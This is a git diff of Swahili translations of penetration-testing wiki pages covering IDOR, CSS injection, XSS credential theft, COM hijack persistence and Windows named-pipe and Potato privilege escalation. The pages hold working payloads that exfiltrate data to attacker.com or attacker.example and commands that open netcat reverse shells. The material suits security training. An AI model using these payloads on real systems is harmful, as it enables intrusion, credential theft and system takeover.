kwa string "user not found" ili kugundua watumiaji halali: ```bash ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \ -b 'PHPSESSID=' \ -w /opt/SecLists/Usernames/Names/names.txt \ -fr 'User not found' ``` -Mara tu majina halali ya watumiaji yanapotambuliwa, omba faili maalumu moja kwa moja (kwa mfano, `/view.php?username=amanda&file=privacy.odt`). Muundo huu kwa kawaida husababisha ufunuliwa bila idhini wa nyaraka za watumiaji wengine na uvuaji wa credentials. +Mara tu majina halali ya watumiaji yanapotambuliwa, omba faili maalum moja kwa moja (mfano, `/view.php?username=amanda&file=privacy.odt`). Mfumo huu mara nyingi husababisha ufunuo usioidhinishwa wa nyaraka za watumiaji wengine na credential leakage. --- -## 2. Mfano wa Kesi Halisi – McHire Chatbot Platform (2025) +## 2. Mfano wa Kesi wa Maisha Halisi – **McHire** Chatbot Platform (2025) -Wakati wa tathmini ya portal ya ajira ya **McHire** inayotumia Paradox.ai, IDOR ifuatayo iligunduliwa: +Wakati wa tathmini ya portal ya uajiri ya Paradox.ai-powered **McHire**, IDOR ifuatayo iligunduliwa: * Endpoint: `PUT /api/lead/cem-xhr` -* Authorization: cookie ya session ya mtumiaji kwa **any** akaunti ya mtihani ya mgahawa -* Body parameter: `{"lead_id": N}` – kitambulisho cha nambari cha tarakimu 8, **mfuatano** +* Authorization: cookie ya kikao cha mtumiaji kwa akaunti ya mtihani ya mgahawa **yoyote** +* Body parameter: `{"lead_id": N}` – kitambulisho la nambari lenye tarakimu 8, **mfululizo** -Kwa kupunguza `lead_id`, mtahasi alipata PII kamili za waombaji (jina, e-mail, simu, anwani, mapendeleo ya zamu) pamoja na JWT ya mteja iliyoruhusu session hijacking. Kuorodhesha anuwai `1 – 64,185,742` kulifunua takriban **64 million** rekodi. +Kwa kupunguza `lead_id` mjaribu alipata PII kamili ya waombaji (jina, barua pepe, nambari ya simu, anwani, mapendeleo ya zamu) pamoja na JWT ya mteja ambayo iliruhusu kuiba kikao. Uorodhesha wa mfululizo `1 – 64,185,742` ulifunua takriban **64 million** rekodi. Proof-of-Concept request: ```bash @@ -76,19 +76,19 @@ Combined with **default admin credentials** (`123456:123456`) that granted acces --- ## 3. Athari za IDOR / BOLA -* Kupanda kwa usawa – kusoma/kuhariri/kufuta **data za watumiaji wengine**. -* Kupanda kwa wima – mtumiaji mwenye vibali vidogo anapata utendakazi unaotengwa kwa admin pekee. -* Uvujaji mkubwa wa data ikiwa vitenambulisho ni mfululizo (mfano: vitambulisho vya waombaji, ankara). -* Uchukuzi wa akaunti kwa kuiba tokens au kwa kuweka upya nywila za watumiaji wengine. +* Ukuaji wa usawa – soma/rekebisha/futa data za **watumiaji wengine**. +* Ukuaji wa wima – mtumiaji mwenye ruhusa ndogo anapata kazi zinazotumika tu kwa admin. +* Uvunjaji mkubwa wa data ikiwa vitambulisho viko kwa msururu (mfano, applicant IDs, invoices). +* Kunyakuliwa kwa akaunti kwa kuiba tokens au kuweka upya nywila za watumiaji wengine. --- -## 4. Uzuiaji & Mbinu Bora -1. **Lazimisha idhinishaji kwa kiwango cha kipengee** kwenye kila ombi (`user_id == session.user`). -2. Pendelea **vitenambulisho visivyo vya moja kwa moja, visivyoweza kubahatishwa** (UUIDv4, ULID) badala ya auto-increment IDs. -3. Fanya idhinishaji upande wa server (server-side), usitegemee maeneo ya fomu yaliyofichwa au controls za UI. -4. Tekeleza ukaguzi wa **RBAC / ABAC** katika middleware ya kati. -5. Ongeza **rate-limiting & logging** kugundua uorodheshaji wa IDs. -6. Testi kiusalama kila endpoint mpya (unit, integration, na DAST). +## 4. Uzuiaji na Mbinu Bora +1. **Lazimisha object-level authorization** kwenye kila ombi (`user_id == session.user`). +2. Tumia **indirect, unguessable identifiers** (UUIDv4, ULID) badala ya auto-increment IDs. +3. Fanya authorization upande wa server, usitegemee hidden form fields au UI controls. +4. Tekeleza **RBAC / ABAC** checks kwenye middleware ya kati. +5. Ongeza **rate-limiting & logging** ili kugundua enumeration ya IDs. +6. Fanya security test kwa kila endpoint mpya (unit, integration, na DAST). --- ## 5. Zana @@ -98,7 +98,7 @@ Combined with **default admin credentials** (`123456:123456`) that granted acces -## Marejeo +## References * [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds) * [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/) * [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489) diff --git a/src/pentesting-web/xs-search/css-injection/README.md b/src/pentesting-web/xs-search/css-injection/README.md index cb79f8b29..97d32ff07 100644 --- a/src/pentesting-web/xs-search/css-injection/README.md +++ b/src/pentesting-web/xs-search/css-injection/README.md @@ -6,7 +6,7 @@ ### Attribute Selector -CSS selectors zimeundwa ili zifananishe thamani za sifa `name` na `value` za kipengee cha `input`. Ikiwa sifa ya `value` ya elementi ya `input` inaanza na alama maalum, rasilimali ya nje iliyotanguliwa itapakiwa: +Selectors za CSS zimeundwa ili kufanana na thamani za atributi za `name` na `value` za kipengee cha `input`. Iwapo atributi ya `value` ya kipengee cha `input` inaanza na alama maalum, rasilimali ya nje iliyobainishwa itapakiwa: ```css input[name="csrf"][value^="a"] { background-image: url(https://attacker.com/exfil/a); @@ -19,30 +19,30 @@ input[name="csrf"][value^="9"] { background-image: url(https://attacker.com/exfil/9); } ``` -Hata hivyo, mbinu hii inakutana na kizuizi linapohusika na elementi za input zilizofichwa (`type="hidden"`) kwa sababu elementi zilizofichwa hazipaki backgrounds. +Hata hivyo, mbinu hii inakutana na kikomo inaposhughulika na elementi za input zilizofichwa (`type="hidden"`) kwa sababu elementi zilizofichwa hazipakia background. -#### Bypass kwa Elementi Zilizofichwa +#### Kukwepa kwa Elementi Zilizofichwa -Ili kuepuka kizuizi hiki, unaweza kulenga elementi ya sibling inayofuata kwa kutumia `~` general sibling combinator. Kisha sheria ya CSS itumike kwa siblings wote wanaofuata elementi ya input iliyofichwa, na kusababisha picha ya background kupakia: +Ili kuepuka kikomo hiki, unaweza kulenga elementi ndugu inayofuata ukitumia `~` general sibling combinator. Kisha kanuni ya CSS itatumika kwa ndugu zote zinazofuata elementi ya input iliyofichwa, na kusababisha picha ya background kupakia: ```css input[name="csrf"][value^="csrF"] ~ * { background-image: url(https://attacker.com/exfil/csrF); } ``` -Mfano wa vitendo wa kutumia mbinu hii umefafanuliwa kwa undani katika kipande cha msimbo kilichotolewa. Unaweza kuiona [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e). +Mfano wa vitendo wa kutumia tekniki hii umefafanuliwa kwa undani katika kipande cha msimbo kilichotolewa. Unaweza kuiona [hapa](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e). -#### Mahitaji ya CSS Injection +#### Masharti ya CSS Injection -Ili mbinu ya CSS Injection iwe na ufanisi, masharti fulani yanapaswa kutimizwa: +Ili tekniki ya CSS Injection ifanye kazi kwa ufanisi, masharti fulani yanapaswa kutimizwa: -1. **Payload Length**: vektori ya CSS injection inapaswa kuunga mkono payloads za urefu wa kutosha ili kuweza kubeba selectors zilizotengenezwa. -2. **CSS Re-evaluation**: Unapaswa kuwa na uwezo wa kuweka ukurasa ndani ya iframe, jambo muhimu ili kusababisha CSS itathminwe upya kwa payloads mpya zilizotengenezwa. -3. **External Resources**: Mbinu hii inategemea uwezo wa kutumia picha zilizohostwa kwa nje. Hii inaweza kuzuiliwa na Content Security Policy (CSP) ya tovuti. +1. **Payload Length**: Vector ya CSS injection inapaswa kuunga mkono payloads zenye urefu wa kutosha ili kuweza kushikilia selectors zilizotengenezwa. +2. **CSS Re-evaluation**: Unapaswa kuwa na uwezo wa kuframesha ukurasa, jambo muhimu ili kusababisha upya tathmini ya CSS na payloads mpya zilizotengenezwa. +3. **External Resources**: Tekniki inadhani uwezekano wa kutumia picha zilizo hifadhiwa nje. Hii inaweza kukataliwa na Content Security Policy (CSP) ya tovuti. ### Blind Attribute Selector -As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), it's possible to combine the selectors **`:has`** and **`:not`** to identify content even from blind elements. Hii ni muhimu sana unapokuwa huna wazo lolote kuhusu kile kilicho ndani ya ukurasa wa wavuti unaopakia CSS injection.\ -Pia inawezekana kutumia selectors hizo kuchukua taarifa kutoka kwa vibloki kadhaa vya aina ile ile kama ilivyo katika: +Kama [**ilivyofafanuliwa katika chapisho hili**](https://portswigger.net/research/blind-css-exfiltration), inawezekana kuunganisha selectors **`:has`** na **`:not`** ili kutambua yaliyomo hata kutoka kwa elementi zisizoonekana. Hii ni muhimu sana unapokosa taarifa kuhusu kile kilicho ndani ya ukurasa unaolakiwa na CSS injection.\ +Pia inawezekana kutumia selectors hizo kutoa taarifa kutoka kwa vibloki vingi vya aina hiyo kama inavyoonekana katika: ```html ``` -### Kukamata nywila zilizojazwa kiotomatiki +### Kukamata Auto-fill passwords ```javascript Username:
@@ -1420,11 +1423,11 @@ mode: 'no-cors', body:username.value+':'+this.value });"> ``` -Ikiwa data yoyote inaingizwa katika uwanja wa password, username na password hutumwa kwenye server ya mshambuliaji; hata kama client atachagua saved password na hata hakutandika chochote, credentials zitatolewa (ex-filtrated). +When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don't write anything the credentials will be ex-filtrated. -### Hijack form handlers ili exfiltrate credentials (const shadowing) +### Hijack form handlers to exfiltrate credentials (const shadowing) -Ikiwa handler muhimu (mfano, `function DoLogin(){...}`) imetangazwa baadaye kwenye ukurasa, na payload yako ikaanza mapema (mfano, kupitia inline JS-in-JS sink), define `const` yenye jina lile hilo kwanza ili kuzuia na kufunga handler. Matangazo ya function yaliyotokea baadaye hayawezi rebind jina la `const`, hivyo hook yako itabaki kuwa katika udhibiti: +Ikiwa handler muhimu (mfano, `function DoLogin(){...}`) inatangazwa baadaye kwenye ukurasa, na payload yako inaendesha mapema (mfano, via an inline JS-in-JS sink), fafanua `const` yenye jina sawa kwanza ili kuzuia na kufunga handler. Taarifa za function zinazotangazwa baadaye haziwezi rebind jina la `const`, zikiacha hook yako ikiwa ndani ya udhibiti: ```javascript const DoLogin = () => { const pwd = Trim(FormInput.InputPassword.value); @@ -1434,17 +1437,17 @@ fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURICom ``` Vidokezo - Hii inategemea mpangilio wa utekelezaji: injection yako lazima itekelezwe kabla ya tamko halali. -- Iwapo payload yako imefungwa ndani ya `eval(...)`, vifungo `const/let` havitatokea kuwa globals. Tumia dynamic ` ``` -### Kuiba ujumbe za PostMessage +### Kuuibia ujumbe za PostMessage ```html ``` -4) Kuchochea – kufungua IE, programu inayojumuisha WebBrowser control, au hata shughuli za kawaida za Explorer zitapakia TypeLib na kutekeleza scriptlet, zikirejesha mnyororo wako wakati wa logon/reboot. +4) Kusababisha – kufungua IE, au programu inayojumuisha WebBrowser control, au hata shughuli za kawaida za Explorer zitaleta TypeLib na kutekeleza scriptlet, kuwasha tena mnyororo wako wakati wa logon/reboot. Usafishaji ```powershell @@ -124,7 +124,7 @@ Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$n Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null ``` Vidokezo -- Unaweza kutumia mantiki ile ile kwa COM components nyingine zinazotumika mara kwa mara; daima pata `LIBID` halisi kutoka `HKCR\CLSID\{CLSID}\TypeLib` kwanza. +- Unaweza kutumia mantiki sawa kwenye komponenti nyingine za COM zinazotumika sana; daima pata `LIBID` halisi kutoka `HKCR\CLSID\{CLSID}\TypeLib` kwanza. - Kwenye mifumo ya 64-bit unaweza pia kujaza subkey ya `win64` kwa watumiaji wa 64-bit. ## Marejeo diff --git a/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md b/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md index 0dea61a3f..e4cbf0c97 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md +++ b/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md @@ -1,30 +1,30 @@ -# Named Pipe Client Impersonation +# Uigaji wa Mteja wa Named Pipe {{#include ../../banners/hacktricks-training.md}} -Named Pipe client impersonation ni primitive ya local privilege escalation inayoruhusu thread ya server ya named-pipe kuchukua muktadha wa usalama wa mteja anayounganisha nayo. Kwa vitendo, mwasi ambaye anaweza kuendesha msimbo akiwa na SeImpersonatePrivilege anaweza kuwalazimisha mteja mwenye heshima (kwa mfano, SYSTEM service) kuungana na pipe inayoendeshwa na mwasi, kuita ImpersonateNamedPipeClient, kunakili token iliyopatikana kuwa primary token, na kuanzisha mchakato kama mteja (mara nyingi NT AUTHORITY\SYSTEM). +Uigaji wa mteja wa Named Pipe ni mbinu ya msingi ya kupandisha hadhi za eneo (local privilege escalation) inayoruhusu thread ya server ya named-pipe kuchukua muktadha wa usalama wa mteja anayeungana nayo. Katika vitendo, mshambulizi anayeweza kuendesha msimbo akiwa na SeImpersonatePrivilege anaweza kulazimisha mteja mwenye ruhusa (mfano, service ya SYSTEM) kuungana na pipe inayodhibitiwa na mshambulizi, kuitisha ImpersonateNamedPipeClient, kutengeneza nakala ya token iliyopatikana kuwa token kuu, na kuanzisha mchakato kama mteja (mara nyingi NT AUTHORITY\SYSTEM). -Ukurasa huu unalenga mbinu kuu. Kwa chains za exploit kutoka mwanzo mpaka mwisho zinazomfanya SYSTEM kuungana na pipe yako, ona kurasa za familia ya Potato zilizotajwa hapa chini. +Ukurasa huu unalenga mbinu kuu. Kwa minyororo ya eksploit kuanzia mwanzo hadi mwisho zinazolazimisha SYSTEM kuungana na pipe yako, angalia Potato family pages zilizotajwa hapa chini. -## Muhtasari (TL;DR) -- Tengeneza named pipe: \\.\pipe\ na subiri muunganisho. -- Fanya sehemu yenye heshima iungane nayo (spooler/DCOM/EFSRPC/etc.). -- Soma angalau ujumbe mmoja kutoka kwa pipe, kisha ita ImpersonateNamedPipeClient. -- Fungua impersonation token kutoka kwa thread ya sasa, DuplicateTokenEx(TokenPrimary), na CreateProcessWithTokenW/CreateProcessAsUser kupata mchakato wa SYSTEM. +## TL;DR +- Create a named pipe: \\.\pipe\ na subiri muunganisho. +- Fanya sehemu yenye ruhusa iungane nayo (spooler/DCOM/EFSRPC/etc.). +- Soma angalau ujumbe mmoja kutoka kwenye pipe, kisha ita ImpersonateNamedPipeClient. +- Fungua token ya uigaji kutoka thread ya sasa, DuplicateTokenEx(TokenPrimary), na CreateProcessWithTokenW/CreateProcessAsUser ili kupata mchakato wa SYSTEM. -## Mahitaji na APIs muhimu -- Ruhusa zinazohitajika kawaida na process/thread inayoiita: -- SeImpersonatePrivilege ili kufanikiwa kujifanya mteja anayounganisha na kutumia CreateProcessWithTokenW. -- Vinginevyo, baada ya kujifanya SYSTEM, unaweza kutumia CreateProcessAsUser, ambayo inaweza kuhitaji SeAssignPrimaryTokenPrivilege na SeIncreaseQuotaPrivilege (hizi zinatimizwa unapokuwa unajifanya SYSTEM). -- APIs kuu zinazotumika: +## Requirements and key APIs +- PrivilegesTypically needed by the calling process/thread: +- SeImpersonatePrivilege to successfully impersonate a connecting client and to use CreateProcessWithTokenW. +- Alternatively, after impersonating SYSTEM, you can use CreateProcessAsUser, which may require SeAssignPrimaryTokenPrivilege and SeIncreaseQuotaPrivilege (these are satisfied when you’re impersonating SYSTEM). +- Core APIs used: - CreateNamedPipe / ConnectNamedPipe -- ReadFile/WriteFile (inabidi usome angalau ujumbe mmoja kabla ya kujifanya) +- ReadFile/WriteFile (must read at least one message before impersonation) - ImpersonateNamedPipeClient and RevertToSelf - OpenThreadToken, DuplicateTokenEx(TokenPrimary) - CreateProcessWithTokenW or CreateProcessAsUser -- Kiwango cha impersonation: ili kufanya vitendo vinavyofaa kwa lokali, mteja lazima aruhusu SecurityImpersonation (chaguo-msingi kwa RPC/named-pipe clients wengi). Wateja wanaweza kupunguza hili kwa SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION wakati wa kufungua pipe. +- Impersonation level: to perform useful actions locally, the client must allow SecurityImpersonation (default for many local RPC/named-pipe clients). Clients can lower this with SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION when opening the pipe. -## Minimal Win32 workflow (C) +## Mtiririko mdogo wa Win32 (C) ```c // Minimal skeleton (no error handling hardening for brevity) #include @@ -68,12 +68,12 @@ RevertToSelf(); // Restore original context return 0; } ``` -Notes: -- Iwapo ImpersonateNamedPipeClient itarudisha ERROR_CANNOT_IMPERSONATE (1368), hakikisha unasoma kwanza kutoka kwenye pipe na kwamba client hakuzuia impersonation kwa Identification level. -- Pendelea DuplicateTokenEx pamoja na SecurityImpersonation na TokenPrimary ili kuunda primary token inayofaa kwa process creation. +Vidokezo: +- Ikiwa ImpersonateNamedPipeClient inarudisha ERROR_CANNOT_IMPERSONATE (1368), hakikisha unasoma kutoka kwenye pipe kwanza na kwamba client hakuzuia impersonation hadi kiwango cha Identification. +- Pendelea DuplicateTokenEx kwa SecurityImpersonation na TokenPrimary ili kuunda token kuu inayofaa kwa uundaji wa mchakato. ## .NET mfano mfupi -Katika .NET, NamedPipeServerStream inaweza impersonate kupitia RunAsClient. Ukishaanza impersonate, duplicate thread token kisha unda mchakato. +Katika .NET, NamedPipeServerStream inaweza kujifanya kupitia RunAsClient. Mara inapojifanya, nakili token ya thread na unda mchakato. ```csharp using System; using System.IO.Pipes; using System.Runtime.InteropServices; using System.Diagnostics; class P { @@ -93,13 +93,13 @@ Process pi; CreateProcessWithTokenW(p, 2, null, null, 0, IntPtr.Zero, null, ref } } ``` -## Vichocheo/vitalamisho vya kawaida vya kumfanya SYSTEM kuungane na pipe yako -Mbinu hizi hulazimisha huduma zenye vibali kuungana na named pipe yako ili uweze kujifanya kuwa wao: -- Print Spooler RPC trigger (PrintSpoofer) -- DCOM activation/NTLM reflection variants (RoguePotato/JuicyPotato[NG], GodPotato) +## Vichocheo/vikandamizo vya kawaida ili kupata SYSTEM kwenye pipe yako +Mbinu hizi zinawalazimisha huduma zilizo na vibali (privileged services) kuungana na named pipe yako ili uweze kujifanya wao: +- Print Spooler RPC kichocheo (PrintSpoofer) +- Variant za DCOM activation/NTLM reflection (RoguePotato/JuicyPotato[NG], GodPotato) - EFSRPC pipes (EfsPotato/SharpEfsPotato) -See detailed usage and compatibility here: +Angalia utumiaji wa kina na ulinganifu hapa: - {{#ref}} @@ -110,27 +110,27 @@ roguepotato-and-printspoofer.md juicypotato.md {{#endref}} -If you just need a full example of crafting the pipe and impersonating to spawn SYSTEM from a service trigger, see: +Ikiwa unahitaji mfano kamili wa kutengeneza pipe na kujifanya ili kuzalisha SYSTEM kutoka kwa kichocheo cha huduma, angalia: - {{#ref}} from-high-integrity-to-system-with-name-pipes.md {{#endref}} -## Utatuzi wa matatizo na mambo ya tahadhari -- Lazima usome angalau ujumbe mmoja kutoka kwenye pipe kabla ya kuita ImpersonateNamedPipeClient; vinginevyo utapata ERROR_CANNOT_IMPERSONATE (1368). -- Iwapo client itaungana kwa SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION, server haiwezi kujifanya kwa ukamilifu; angalia kiwango cha impersonation cha token kupitia GetTokenInformation(TokenImpersonationLevel). -- CreateProcessWithTokenW inahitaji SeImpersonatePrivilege kwenye anayeita. Ikiwa hilo linashindwa kwa ERROR_PRIVILEGE_NOT_HELD (1314), tumia CreateProcessAsUser baada ya tayari kujifanya kuwa SYSTEM. -- Hakikisha security descriptor ya pipe yako inamruhusu huduma lengwa kuungana ikiwa umeimarisha; kwa kawaida, pipes chini ya \\.\pipe zinapatikana kulingana na DACL ya server. +## Utatuzi wa matatizo na vidokezo muhimu +- Lazima usome angalau ujumbe mmoja kutoka kwa pipe kabla ya kuita ImpersonateNamedPipeClient; vinginevyo utapokea ERROR_CANNOT_IMPERSONATE (1368). +- Ikiwa client inaungana kwa SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION, server haiwezi kujifanya kikamilifu; angalia kiwango cha kujifanya cha token kupitia GetTokenInformation(TokenImpersonationLevel). +- CreateProcessWithTokenW inahitaji SeImpersonatePrivilege kwa mtumaji. Ikiwa hiyo inashindwa na ERROR_PRIVILEGE_NOT_HELD (1314), tumia CreateProcessAsUser baada ya tayari kujifanya SYSTEM. +- Hakikisha security descriptor ya pipe yako inamruhusu huduma inayolengwa kuungana ikiwa umeifanya kuwa ngumu; kwa default, pipes chini ya \\.\pipe zinapatikana kwa mujibu wa DACL ya server. -## Utambuzi na uimarishaji -- Fuatilia uundaji wa named pipe na miunganisho. Sysmon Event IDs 17 (Pipe Created) na 18 (Pipe Connected) ni muhimu kuanzisha orodha ya majina ya pipe halali na kugundua pipes zisizo za kawaida, zinazoonekana nasibu kabla ya matukio ya urekebishaji token. -- Tafuta mfululizo: mchakato unaunda pipe, huduma ya SYSTEM inaungana, kisha mchakato uliounda unazalisha mchakato mtoto kama SYSTEM. -- Punguza uwekaji hatarini kwa kuondoa SeImpersonatePrivilege kutoka kwa akaunti za huduma zisizo za lazima na kuepuka kuingia kwa huduma zisizo za lazima zenye ruhusa za juu. -- Maendeleo ya kujilinda: unapotumia kuungana na named pipes zisizo za kuaminika, bainisha SECURITY_SQOS_PRESENT na SECURITY_IDENTIFICATION ili kuzuia server kujifanya kabisa client isipokuwa inapohitajika. +## Ugunduzi na kuimarisha +- Fuatilia uundaji na muunganisho wa named pipe. Sysmon Event IDs 17 (Pipe Created) na 18 (Pipe Connected) ni muhimu kuanzisha mstari wa msingi wa majina halali ya pipe na kugundua pipes zisizo za kawaida zinazoonekana kuwa za nasibu kabla ya matukio ya utendakazi wa token. +- Tafuta mfululizo: mchakato unaunda pipe, huduma ya SYSTEM inaunda muunganisho, kisha mchakato uliounda unazalisha mchakato mtoto kama SYSTEM. +- Punguza mfao kwa kuondoa SeImpersonatePrivilege kutoka kwa akaunti za huduma zisizo za lazima na kuepuka kuingia kwa huduma zisizo za lazima zenye vibali vya juu. +- Maendeleo ya kujilinda: wakati wa kuungana na named pipes zisizo za kuaminika, taja SECURITY_SQOS_PRESENT pamoja na SECURITY_IDENTIFICATION ili kuzuia servers kujifanya kikamilifu client isipokuwa inapohitajika. ## Marejeo -- Windows: ImpersonateNamedPipeClient documentation (mahitaji na tabia za impersonation). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient +- Windows: ImpersonateNamedPipeClient documentation (mahitaji ya kujifanya na tabia). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient - ired.team: Windows named pipes privilege escalation (mwongozo na mifano ya code). https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md index 8914e2e63..f5714052d 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md +++ b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md @@ -3,10 +3,10 @@ {{#include ../../banners/hacktricks-training.md}} > [!WARNING] -> **JuicyPotato haifanyi kazi** kwenye Windows Server 2019 na Windows 10 build 1809 na baadaye. Hata hivyo, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** zinaweza kutumika kupata vibali sawa na kupata upatikanaji wa ngazi ya `NT AUTHORITY\SYSTEM`. Posti hii ya blogi (https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) inachunguza kwa kina zana ya `PrintSpoofer`, ambayo inaweza kutumika kuabusu vibali vya kuiga (impersonation) kwenye mashine za Windows 10 na Server 2019 ambapo JuicyPotato haifanyi kazi tena. +> **JuicyPotato doesn't work** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** can be used to **leverage the same privileges and gain `NT AUTHORITY\SYSTEM`** level access. This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) goes in-depth on the `PrintSpoofer` tool, which can be used to abuse impersonation privileges on Windows 10 and Server 2019 hosts where JuicyPotato no longer works. > [!TIP] -> Chaguo la kisasa linalodumishwa mara kwa mara katika 2024–2025 ni SigmaPotato (fork ya GodPotato) ambalo linaongeza matumizi ya in-memory/.NET reflection na msaada wa OS uliopanuliwa. Angalia matumizi ya haraka hapa chini na repo katika References. +> A modern alternative frequently maintained in 2024–2025 is SigmaPotato (a fork of GodPotato) which adds in-memory/.NET reflection usage and extended OS support. See quick usage below and the repo in References. Related pages for background and manual techniques: @@ -22,23 +22,23 @@ from-high-integrity-to-system-with-name-pipes.md privilege-escalation-abusing-tokens.md {{#endref}} -## Mahitaji na mambo ya kuzingatia +## Requirements and common gotchas -Mbinu zote zinazofuata zinategemea kuabusu huduma yenye uwezo wa kuiga (impersonation-capable) yenye vibali kutoka kwa muktadha unaoshikilia moja ya vibali vifuatavyo: +All the following techniques rely on abusing an impersonation-capable privileged service from a context holding either of these privileges: -- SeImpersonatePrivilege (ya kawaida zaidi) au SeAssignPrimaryTokenPrivilege -- High integrity haitegemeeki ikiwa token tayari ina SeImpersonatePrivilege (kawaida kwa akaunti nyingi za service kama IIS AppPool, MSSQL, n.k.) +- SeImpersonatePrivilege (maarufu zaidi) or SeAssignPrimaryTokenPrivilege +- Ngazi ya uaminifu ya juu haitegemeeki ikiwa token tayari ina SeImpersonatePrivilege (kawaida kwa akaunti za huduma nyingi kama IIS AppPool, MSSQL, n.k.) -Angalia vibali haraka: +Check privileges quickly: ```cmd whoami /priv | findstr /i impersonate ``` -Vidokezo vya uendeshaji: +Operational notes: -- PrintSpoofer needs the Print Spooler service running and reachable over the local RPC endpoint (spoolss). Katika mazingira yaliyothibitishwa kwa usalama ambapo Spooler imezimwa baada ya PrintNightmare, pendelea RoguePotato/GodPotato/DCOMPotato/EfsPotato. -- RoguePotato requires an OXID resolver reachable on TCP/135. Ikiwa egress imezuiwa, tumia redirector/port-forwarder (see example below). Older builds needed the -f flag. -- EfsPotato/SharpEfsPotato hutumia MS-EFSR; ikiwa pipe moja imezuiwa, jaribu pipes mbadala (lsarpc, efsrpc, samr, lsass, netlogon). -- Kosa 0x6d3 wakati wa RpcBindingSetAuthInfo kawaida inaonyesha huduma ya uthibitishaji ya RPC isiyojulikana/isiyoungwa mkono; jaribu pipe/transport tofauti au hakikisha huduma ya lengo inaendeshwa. +- PrintSpoofer needs the Print Spooler service running and reachable over the local RPC endpoint (spoolss). In hardened environments where Spooler is disabled post-PrintNightmare, prefer RoguePotato/GodPotato/DCOMPotato/EfsPotato. +- RoguePotato requires an OXID resolver reachable on TCP/135. If egress is blocked, use a redirector/port-forwarder (see example below). Older builds needed the -f flag. +- EfsPotato/SharpEfsPotato abuse MS-EFSR; if one pipe is blocked, try alternative pipes (lsarpc, efsrpc, samr, lsass, netlogon). +- Error 0x6d3 during RpcBindingSetAuthInfo typically indicates an unknown/unsupported RPC authentication service; try a different pipe/transport or ensure the target service is running. ## Demo ya Haraka @@ -58,7 +58,7 @@ NULL ``` Vidokezo: -- Unaweza kutumia -i kuzindua mchakato wa mwingiliano katika console ya sasa, au -c kuendesha one-liner. +- Unaweza kutumia -i kuanzisha interactive process kwenye current console, au -c kuendesha one-liner. - Inahitaji Spooler service. Ikiwa imezimwa, hii itashindwa. ### RoguePotato @@ -67,7 +67,7 @@ c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l # In some old versions you need to use the "-f" param c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999 ``` -Ikiwa outbound 135 imezuiwa, pivot OXID resolver kupitia socat kwenye redirector yako: +Ikiwa outbound 135 imezuiwa, pivot the OXID resolver kupitia socat kwenye redirector yako: ```bash # On attacker redirector (must listen on TCP/135 and forward to victim:9999) socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999 @@ -111,7 +111,7 @@ CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes su nt authority\system ``` -Kidokezo: Ikiwa pipe moja itashindwa au EDR itazuia, jaribu pipes nyingine zinazounga mkono: +Kidokezo: Ikiwa pipe moja inashindwa au EDR inaizuia, jaribu pipes nyingine zinazoungwa mkono: ```text EfsPotato [pipe] pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc) @@ -123,13 +123,13 @@ pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc) > GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012" ``` Vidokezo: -- Inafanya kazi kwenye Windows 8/8.1–11 na Server 2012–2022 wakati SeImpersonatePrivilege ipo. +- Inafanya kazi katika Windows 8/8.1–11 na Server 2012–2022 wakati SeImpersonatePrivilege ipo. ### DCOMPotato 